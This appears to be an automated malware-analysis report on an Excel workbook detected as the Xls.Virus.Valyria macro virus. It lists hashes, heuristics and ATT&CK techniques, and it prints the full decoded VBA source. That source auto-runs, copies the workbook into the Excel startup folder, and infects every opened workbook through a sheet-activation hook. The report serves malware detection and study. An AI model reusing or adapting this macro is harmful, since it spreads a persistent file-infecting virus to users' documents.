Valyria — Office (OOXML) malware analysis

Static analysis result for SHA-256 8131dd963f3534d8…

MALICIOUS

Office (OOXML)

18.3 KB Created: 2021-05-20 06:48:06 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-26
MD5: f1ee3500c56a115757a52cb80624758f SHA-1: 06f4aa8ac3fa439c0abaad6137b3dd600d5281fe SHA-256: 8131dd963f3534d8d73d84adcdc5a004363e8b9ddeeb2389ed7bde2bf68370d0
188 Risk Score

Malware Insights

Valyria · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic and the presence of an Auto_Open VBA macro strongly indicate malicious intent. The Auto_Open macro attempts to establish persistence by copying the malicious workbook to the Excel startup folder as 'mypersonel.xls' and setting an Auto_Open-like function 'allocated' to run on sheet activation. This suggests the malware aims to maintain a foothold on the system.

Heuristics 4

  • ClamAV: Xls.Virus.Valyria-10007756-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Virus.Valyria-10007756-0
  • VBA project inside OOXML medium 1 related finding OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Hidden worksheet (veryHidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 1 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 998 bytes
SHA-256: 555d670485a43b9be8ee485c7a15a4d72f61fb5e867ce9345f61bf806a7e7a62
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"

Sub Auto_Open()
'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
  End If
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 11264 bytes
SHA-256: 753d96e70755090c720216b0977042217acd58ad017990a83e196ca70f0a6248
Detection
ClamAV: Xls.Virus.Valyria-10007756-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.